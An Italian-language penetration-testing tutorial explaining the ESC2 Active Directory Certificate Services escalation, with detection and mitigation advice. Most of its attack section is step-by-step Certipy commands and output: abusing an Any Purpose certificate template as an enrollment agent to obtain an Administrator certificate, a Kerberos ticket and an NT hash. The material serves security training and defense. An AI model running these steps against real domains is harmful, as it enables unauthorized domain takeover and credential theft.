windows

ESC2 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC2 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC2 ADCS Privilege Escalation: sfruttare template con EKU Any Purpose o senza EKU per ottenere Enrollment Agent e Domain Admin con Certipy.

  • Pubblicato il 2026-03-06
  • Tempo di lettura: 2 min

ESC2 è una tecnica di Active Directory Privilege Escalation tramite AD CS che nasce quando un certificate template permette di ottenere un certificato con Any Purpose EKU oppure nessun EKU definito.

In pratica il certificato può essere usato per qualsiasi scopo, inclusi:

  • client authentication
  • server authentication
  • code signing
  • enrollment agent

OID dell’Any Purpose EKU:

text
2.5.29.37.0

Questo implica automaticamente anche:

text
Certificate Request Agent
1.3.6.1.4.1.311.20.2.1

Quindi un attaccante può trasformare il certificato in Enrollment Agent certificate.


Quando esiste una vulnerabilità ESC2 #

ESC2 esiste quando un template ha queste condizioni:

Template con Any Purpose EKU #

Oppure nessun EKU definito.

Output tipico:

text
Any Purpose : True

oppure

text
Extended Key Usage : <empty>

Enrollment aperto #

Il template permette enrollment a gruppi come:

text
Domain Users
Authenticated Users

Come funziona l’attacco #

L’exploit avviene in due fasi.

1️⃣ ottenere certificato Any Purpose 2️⃣ usarlo come Enrollment Agent per richiedere un certificato per Administrator


Identificazione con Certipy #

Enumerazione template:

bash
certipy find -u attacker@corp.local -p 'Passw0rd!'

Output tipico:

text
Template Name : AnyPurposeCert
Any Purpose : True

[!] Vulnerabilities
ESC2 : Template can be used for any purpose
ESC3 : Template has Certificate Request Agent EKU set

Indicatori chiave:

text
Any Purpose : True
Enrollment Agent : True
Enrollment Rights : Domain Users

Template target #

Serve anche un template target che permetta enrollment agent.

Esempio:

text
Template Name : User
Schema Version : 1
Client Authentication : True

Output Certipy:

text
ESC2 Target Template
ESC3 Target Template

Exploitation ESC2 #

L’exploit è molto simile a ESC3.


Step 1 — ottenere certificato Any Purpose #

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template AnyPurposeCert

Output:

text
Successfully requested certificate
Saving certificate to attacker.pfx

Il file generato:

text
attacker.pfx

contiene il certificato Enrollment Agent.


Step 2 — richiedere certificato Administrator #

Usando il certificato ottenuto.

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template User \
-pfx attacker.pfx \
-on-behalf-of CORP\Administrator

Output:

text
Successfully requested certificate
Saving certificate to administrator.pfx

Step 3 — autenticarsi come Administrator #

bash
certipy auth \
-pfx administrator.pfx \
-dc-ip 10.0.0.100

Output:

text
Got TGT
Got NT hash for administrator

L’attaccante ottiene:

  • Kerberos TGT
  • NTLM hash
  • accesso Domain Admin

Perché ESC2 è pericoloso #

Perché Any Purpose = Enrollment Agent implicito.

Quindi chiunque ottenga quel certificato può:

text
richiedere certificati per altri utenti

inclusi:

text
Domain Admin
Domain Controller

Detection ESC2 #

Indicatori principali:

text
Any Purpose : True
Extended Key Usage : empty
Enrollment Rights : Domain Users

Audit:

bash
certipy find

oppure analisi manuale template.


Mitigation ESC2 #

Non usare Any Purpose EKU #

Mai usare:

text
2.5.29.37.0

Definire EKU espliciti #

Esempio sicuro:

text
Client Authentication
Server Authentication

Limitare Enrollment #

Non usare:

text
Domain Users
Authenticated Users

Richiedere Manager Approval #

Template → Issuance Requirements:

text
CA certificate manager approval

Eliminare template V1 #

Molti attacchi ESC2 usano:

text
User
Machine

perché sono Schema Version 1.


FAQ — ESC2 ADCS #

Cos’è ESC2? #

Un template che permette certificati Any Purpose.

Qual è il problema? #

Il certificato diventa Enrollment Agent certificate.

ESC2 porta a Domain Admin? #

Sì, usando on-behalf-of enrollment.

ESC2 è simile a ESC3? #

Sì. ESC2 produce un certificato che può essere usato come Enrollment Agent.


Key Takeaway: se un template permette certificati Any Purpose e gli utenti possono fare enrollment, chiunque può trasformare quel certificato in un Enrollment Agent e richiedere certificati per qualsiasi utente del dominio.


Guida completa AD CS escalation: https://hackita.it/articoli/adcs-esc1-esc16Continua con: https://hackita.it/articoli/esc3-adcs · https://hackita.it/articoli/esc4-adcsSupporta HackIta: https://hackita.it/supportoPentest Active Directory o formazione offensiva: https://hackita.it/serviziRiferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/

#ad #adcs #esc #certipy

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.